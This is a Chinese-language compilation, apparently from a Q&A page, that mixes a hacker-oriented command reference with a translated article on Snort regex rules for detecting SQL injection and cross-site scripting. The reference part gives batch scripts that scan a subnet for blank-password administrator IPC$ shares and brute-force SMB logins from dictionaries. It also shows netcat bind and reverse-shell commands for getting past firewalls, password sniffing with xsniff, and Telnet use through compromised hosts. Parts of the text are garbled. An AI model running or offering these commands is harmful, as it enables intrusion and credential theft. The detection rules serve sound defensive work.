find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡
綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
三:
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey
dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)--針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶
名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更
改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將
會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本
地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by "密碼"; 增加新用戶。(注意:和上面不同,下
面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我
們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫
school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主
機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終
止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
六:
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定
一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0-%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2-%9指輸入的
第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ "(1 1
254)"第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;"(1 -1 254)"說明:即從254到
1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如
(d:pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /
user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存
在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來
隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的
IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為
用戶名;%1為輸入的IP地址(默認)。
七:
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為"真"。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行
最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:"if "%2%"=="4" goto start"指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加"
")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:"if not nc.exe goto end"指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令
語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else
後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才
能執行,用上< >後就等於是單獨一行了;例如:"if exist test.txt. <del test.txt.> else echo
test.txt.missing ",注意命令中的"."

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的
TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向
連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把
c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把
c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。"<",例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt >> d:log.txt 意思是:後台執行dir,並把結果
存在d:log.txt中

>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。

如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執行二次比較看:用>>的則
是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

八:

2、掃錨工具:xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測
192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測
192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放端
口的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測"hostlist.txt"文件中列
出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

九:

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以
ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

參數說明
-h 顯示使用幫助

❹ 如何檢測SQL注入技術以及跨站腳本攻擊

在最近兩年中,安全專家應該對網路應用層的攻擊更加重視。因為無論你有多強壯的防火牆規則設置或者非常勤於補漏的修補機制,如果你的網路應用程序開發者沒
有遵循
安全代碼進行開發,攻擊者將通過80埠進入你的系統。廣泛被使用的兩個主要攻擊技術是SQL注入[ref1]和CSS[ref2]攻擊。SQL注入是
指:通過互聯網的輸入區域,插入SQL meta-characters(特殊字元
代表一些數據)和指令,操縱執行後端的SQL查詢的技術。這些攻擊主要針對其他組織的WEB伺服器。CSS攻擊通過在URL里插入script標簽,然後

誘導信任它們的用戶點擊它們,確保惡意Javascript代碼在受害人的機器上運行。這些攻擊利用了用戶和伺服器之間的信任關系,事實上伺服器沒有對輸
入、輸出進行檢測,從而未拒絕javascript代碼。
這篇文章討論SQL注入和CSS攻擊漏洞的檢測技術。網上已經有很多關於這兩種基於
WEB攻擊的討論,比如如何實施攻擊,他們的影響,怎樣更好的編制和設計程序防止這些攻擊。 然而,
對如何檢測這些攻擊並沒有足夠的討論。我們採用流行的開源的IDS Snort[ref
3],組建根據檢測這些攻擊的規則的正則表達式。附帶,Snort默認規則設定包含檢測CSS的方法,但是這些容易被避開檢測。比如大多通過hex進制編
碼,如%3C%73%63%72%69%70% 74%3E代替避開檢測。
依賴level of
paranoia組織的能力,我們已經編寫了多種檢測相同攻擊的規則。如果你希望檢測各種可能的SQL注入攻擊,那麼你需要簡單的留意任何現行的SQL
meta-characters,如單引號,分號和雙重破折號。同樣的一個極端檢測CSS攻擊的方法,只要簡單地提防HTML標記的角括弧。但這樣會檢測
出很多錯誤。為了避免這些,這些規則需要修改使它檢測更精確些, 當仍然不能避免錯誤。
在Snort規則中使用pcre(Perl
Compatible Regular
Expressions)[ref4]關鍵字,每個規則可以帶或不帶其他規則動作。這些規則也可以被公用軟體如grep(文檔搜索工具)使用,來審閱網路
伺服器日誌。 但是,需要警惕的是,用戶的輸入只有當以GET提交請求時,WEB伺服器才會記錄日記,如果是以POST提交的請求在日記中是不會記錄的。
2. SQL注入的正則表示式

你為SQL注入攻擊選擇正則表示式的時候,重點要記住攻擊者可以通過提交表單進行SQL注入,也可以通過Cookie區域。你的輸入檢測邏輯應該考慮用戶

組織的各類型輸入(比如表單或Cookie信息)。並且如果你發現許多警告來自一個規則,請留意單引號或者是分號,也許些字元是你的Web應用程序創造的
合法的在CookieS中的輸入。因此, 您需要根據你的特殊的WEB應用程序評估每個規則。
依照前面提到,一個瑣細的檢測SQL射入攻擊的正則表達式要留意SQL特殊的meta-characters 譬如單引號(』)雙重擴則號(--),為了查出這些字元和他們hex等值數, 以下正則表達式適用:
2.1 檢測SQL meta-characters的正則表達式
/(\%27)|(\』)|(\-\-)|(\%23)|(#)/ix
解釋:

們首先檢查單引號等值的hex,單引號本身或者雙重擴折號。這些是MS SQL Server或Oracle的字元, 表示後邊的為評論,
隨後的都將被忽略。 另外,如果你使用MySQL,你需要留意 』#』和它等值的hex的出現。注意我們不需要檢查雙重破折號等值的hex,
因為這不是HTML meta-character, 瀏覽器不會進行編碼。 並且,
如果攻擊者設法手工修改雙重破折號為它的hex值%2D(使用代理像Achilles[ref 5]), SQL注入將失敗。
加入上述正則表達式的新的Snort規則如下:
alert
tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL
Injection - Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\』)|(\-\-)|(%23)|(#)/i";
classtype:Web-application-attack; sid:9099; rev:5;)
在本篇討論中,
uricontent關鍵字的值為".pl ", 因為在我們的測試環境里, CGI
程序是用Perl寫的。uricontent關鍵字的值取決於您的特殊應用, 這個值也許是".php ", 或" .asp ", 或" .jsp
", 等。 從這點考慮, 我們不顯示對應的Snort 規則, 但是我們會給出創造這些規則的正則表達式。
通過這些正則表達式你可以很簡單的創造很多的Snort規則.在前面的正則表達式里,
我們檢測雙重破折號是因為:即便沒有單引號的存在那裡也可能是SQL射入點[ref 6]。 例如, SQL查詢條目只包含數值,如下:
select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
這種情況,攻擊者可以執行額外的SQL查詢, 示範提交如下輸入:
3; insert values into some_other_table
最後, pcre的修飾符』 i』 和』 x 』 是用於分別匹配大小寫和忽略空白處的。 上面的規則也可以另外擴展來檢查分號的存在。然而,分號很可以是正常HTTP應答的一部分。為了減少這種錯誤,也是為了任何正常的單引號和雙重擴折號的出
現,上面的規則應該被修改成先檢測=號的存。用戶輸入會響應一個GET或POST請求,一般輸入提交如下:
username=some_user_supplied_value&password=some_user_supplied_value
因此, SQL 注入嘗試將導致用戶的輸入出現在a = 號或它等效的hex值之後。
2.2 修正檢測SQL meta-characters的正則表達式
/((\%3D)|(=))[^\n]*((\%27)|(\』)|(\-\-)|(\%3B)|(:))/i
解釋:
這個規則首先留意 = 號或它的hex值(%3D),然後考慮零個或多個除換行符以外的任意字元,最後檢測單引號,雙重破折號或分號。

型的SQL注入會嘗試圍繞單引號的用途操作原來的查詢,以便得到有用的價值。討論這個攻擊一般使用1』or』1』=』1字元串. 但是,
這個串的偵查很容易被逃避,譬如用1』or2>1 --.
然而唯一恆定的部分是最初的字元的值,跟隨一單引號,再加』or』。隨後的布爾邏輯可能在一定范圍上變化,可以是普通樣式也可能是非常復雜的。這些攻擊可
以相當精確被偵測,通過以下的正則表達式。2.3章節講解。
2.3 典型的 SQL 注入攻擊的正則表達式
/\w*((\%27)|(\』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
解釋:
\w* - 零個或多個字元或者下劃線。
(\%27)|\』 - 單引號或它的hex等值。
(\%6 F)|o|(\%4 F))((\%72)|r|-(\%52) -『or』的大小寫以及它的hex等值。
』union』SQL
查詢在SQL注入各種資料庫中攻擊中同樣是很常見的。如果前面的正則表達式僅僅檢測單引號或則其他的SQL meta characters
,會造成很多的錯誤存在。你應該進一步修改查詢,檢測單引號和關鍵字『union』。這同樣可以進一步擴展其他的SQL關鍵字,像』select』,
』insert』, 』update』, 』delete』, 等等。
2.4 檢測SQL注入,UNION查詢關鍵字的正則表達式
/((\%27)|(\』))union/ix
(\%27)|(\』) - 單引號和它的hex等值
union - union關鍵字
可以同樣為其他SQL查詢定製表達式,如 >select, insert, update, delete, drop, 等等.

果,到這個階段,攻擊者已經發現web應用程序存在SQL注入漏洞,他將嘗試利用它。如果他認識到後端伺服器式MS SQL
server,他一般會嘗試運行一些危險的儲存和擴展儲存過程。這些過程一般以『sp』或『xp』字母開頭。典型的,他可能嘗試運行
『xp_cmdshell』擴展儲存過程(通過SQL Server執行Windows
命令)。SQL伺服器的SA許可權有執行這些命令的許可權。同樣他們可以通過xp_regread, xp_regwrite等儲存過程修改注冊表。
2.5 檢測MS SQL Server SQL注入攻擊的正則表達式
/exec(\s|\+)+(s|x)p\w+/ix
解釋:
exec - 請求執行儲存或擴展儲存過程的關鍵字
(\s|\+)+ - 一個或多個的空白或它們的http等值編碼
(s|x) p- 『sp』或『xp』字母用來辨認儲存或擴展儲存過程
\w+ - 一個或多個字元或下劃線來匹配過程的名稱
3. 跨站腳本(CSS)的正則表達式

發動CSS攻擊或檢測一個網站漏洞的時候, 攻擊者可能首先使簡單的HTML標簽如(粗體),(斜體)或(下劃線),或者他可能嘗試簡單的
script標簽如alert("OK").
因為大多數出版物和網路傳播的檢測網站是否有css漏洞都拿這個作為例子。這些嘗試都可以很簡單的被檢測出來。
然而,高明點的攻擊者可能用它的hex值替換整個字元串。這樣標簽會以%3C%73%63%72%69%70%74%3E出 現。
另一方面,攻擊者可能使用web代理伺服器像Achilles會自動轉換一些特殊字元如換成%3E.這樣攻擊發生時,URL
中通常以hex等值代替角括弧。
下列正則表達式將檢測任何文本中包含的html的。它將捉住試圖使用、、或。這正則表達式應該忽略大小寫。我們需要同時檢測角括弧和它的hex等值(% 3C|
3.1 一般 CSS 攻擊的正則表達式
/((\%3C)|)/ix
解釋:
((\%3C)|) -檢查>或它的hex等值
Snort 規則:
alert
tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII
Cross-site scripting attempt"; flow:to_server,established;
pcre:"/((\%3C)|)/i"; classtype:Web-application-attack; sid:9000; rev:5;)
跨站腳本同樣可以使用技術。現行默認的snort規則可以被輕易避開。
3.2章節提供了防止這種技術的方法。
3.2 "
/((\%3C)|)/I
解釋:
(\%3 C)|) ->或它的hex等值
3.3 CSS 攻擊的極端的正則表達式
/((\%3C)|)/I
解釋:
這個規則簡單尋找。由於你的web伺服器和web應用程序的構架,這個規則可能產生一些錯誤。但它能保證捉住任何CCS或者類似CSS的攻擊。
一個不錯避開過濾的CSS方法請參考Bugtraq投稿的
http://www.securityfocus.com/archive/1/272...rchive/1/272037.
但是請注意最後一種極端的規則將能檢測這所有的攻擊。
總結:


這篇文章中,我們提出了不同種類的正則表達式規則來檢測SQL注入和跨站腳本攻擊。有些規則簡單而極端,一個潛在的攻擊都將提高警惕。但這些極端的規則可

能導致一些主動的錯誤。考慮到這點,我們修改了這些簡單的規則,利用了另外的樣式,他們可以檢查的更准確些。在這些網路應用成的攻擊檢測中,我們推薦將這
些作為調試你IDS或日誌分析方法的起點。再經過幾次修改後,在你對正常網交易部分的非惡意應答進行評估以後,你應該可以准備的檢測那些攻擊了。

❺ SQL-Server弱口令是什麼還有比如TELNET弱口令FTP弱口令等等這些都是什麼具體說一下

SQL是資料庫
8888,123456,sa,master,administrator,0000,9999等等,只要容易被猜出來的都是弱口令
SQL是Structured Quevy Language(結構化查詢語言)的縮寫。SQL是專為資料庫而建立的操作命令集,是一種功能齊全的資料庫語言。在使用它時,只需要發出「做什麼」的命令,「怎麼做」是不用使用者考慮的。SQL功能強大、簡單易學、使用方便,已經成為了資料庫操作的基礎,並且現在幾乎所有的資料庫均支持SQL。 <br>
##1 二、SQL資料庫數據體系結構 <br>
SQL資料庫的數據體系結構基本上是三級結構,但使用術語與傳統關系模型術語不同。在SQL中,關系模式(模式)稱為「基本表」(base table);存儲模式(內模式)稱為「存儲文件」(stored file);子模式(外模式)稱為「視圖」(view);元組稱為「行」(row);屬性稱為「列」(column)。名稱對稱如^00100009a^: <br>
##1 三、SQL語言的組成 <br>
在正式學習SQL語言之前,首先讓我們對SQL語言有一個基本認識,介紹一下SQL語言的組成: <br>
1.一個SQL資料庫是表(Table)的集合,它由一個或多個SQL模式定義。 <br>
2.一個SQL表由行集構成,一行是列的序列(集合),每列與行對應一個數據項。 <br>
3.一個表或者是一個基本表或者是一個視圖。基本表是實際存儲在資料庫的表,而視圖是由若干基本砘蚱淥�油脊鉤傻謀淼畝ㄒ濉?<br>
4.一個基本表可以跨一個或多個存儲文件,一個存儲文件也可存放一個或多個基本表。每個存儲文件與外部存儲上一個物理文件對應。 <br>
5.用戶可以用SQL語句對視圖和基本表進行查詢等操作。在用戶角度來看,視圖和基本表是一樣的,沒有區別,都是關系(表格)。 <br>
6.SQL用戶可以是應用程序,也可以是終端用戶。SQL語句可嵌入在宿主語言的程序中使用,宿主語言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada語言等。SQL用戶也能作為獨立的用戶介面,供交互環境下的終端用戶使用。 <br>
##1 四、對資料庫進行操作 <br>
SQL包括了所有對資料庫的操作,主要是由4個部分組成: <br>
1.數據定義:這一部分又稱為「SQL DDL」,定義資料庫的邏輯結構,包括定義資料庫、基本表、視圖和索引4部分。 <br>
2.數據操縱:這一部分又稱為「SQL DML」,其中包括數據查詢和數據更新兩大類操作,其中數據更新又包括插入、刪除和更新三種操作。 <br>
3.數據控制:對用戶訪問數據的控制有基本表和視圖的授權、完整性規則的描述,事務控制語句等。 <br>
4.嵌入式SQL語言的使用規定:規定SQL語句在宿主語言的程序中使用的規則。 <br>
下面我們將分別介紹: <br>
##2 (一)數據定義 <br>
SQL數據定義功能包括定義資料庫、基本表、索引和視圖。 <br>
首先,讓我們了解一下SQL所提供的基本數據類型:(如^00100009b^) <br>
1.資料庫的建立與刪除 <br>
(1)建立資料庫:資料庫是一個包括了多個基本表的數據集,其語句格式為: <br>
CREATE DATABASE <資料庫名> 〔其它參數〕 <br>
其中,<資料庫名>在系統中必須是唯一的,不能重復,不然將導致數據存取失誤。〔其它參數〕因具體資料庫實現系統不同而異。 <br>
例:要建立項目管理資料庫(xmmanage),其語句應為: <br>
CREATE DATABASE xmmanage <br>
(2) 資料庫的刪除:將資料庫及其全部內容從系統中刪除。 <br>
其語句格式為:DROP DATABASE <資料庫名> <br>
例:刪除項目管理資料庫(xmmanage),其語句應為: <br>
DROP DATABASE xmmanage <br>
2.基本表的定義及變更 <br>
本身獨立存在的表稱為基本表,在SQL語言中一個關系唯一對應一個基本表。基本表的定義指建立基本關系模式,而變更則是指對資料庫中已存在的基本表進行刪除與修改。 <br>
……<br>

什麼是Telnet

對於Telnet的認識,不同的人持有不同的觀點,可以把Telnet當成一種通信協議,但是對於入侵者而言,Telnet只是一種遠程登錄的工具。一旦入侵者與遠程主機建立了Telnet連接,入侵者便可以使用目標主機上的軟、硬體資源,而入侵者的本地機只相當於一個只有鍵盤和顯示器的終端而已。

Telnet被入侵者用來做什麼

(1)Telnet是控制主機的第一手段

在前幾節介紹過,如果入侵者想要在遠程主機上執行命令,需要建立IPC$連接,然後使用net time命令查看系統時間,最後使用at命令建立計劃任務才能完成遠程執行命令。雖然這種方法能夠遠程執行命令,但相比之下,Telnet方式對入侵者而言則會方便得多。入侵者一旦與遠程主機建立Telnet連接,就可以像控制本地計算機一樣來控制遠程計算機。可見,Telnet方式是入侵者慣於使用的遠程式控制制方式,當他們千方百計得到遠程主機的管理員許可權後,一般都會使用Telnet方式進行登錄。

(2)用來做跳板

入侵者把用來隱身的肉雞稱之為「跳板」,他們經常用這種方法,從一個「肉雞」登錄到另一個「肉雞」,這樣在入侵過程中就不會暴露自己的IP地址,這一過程將在第5章中詳細介紹。

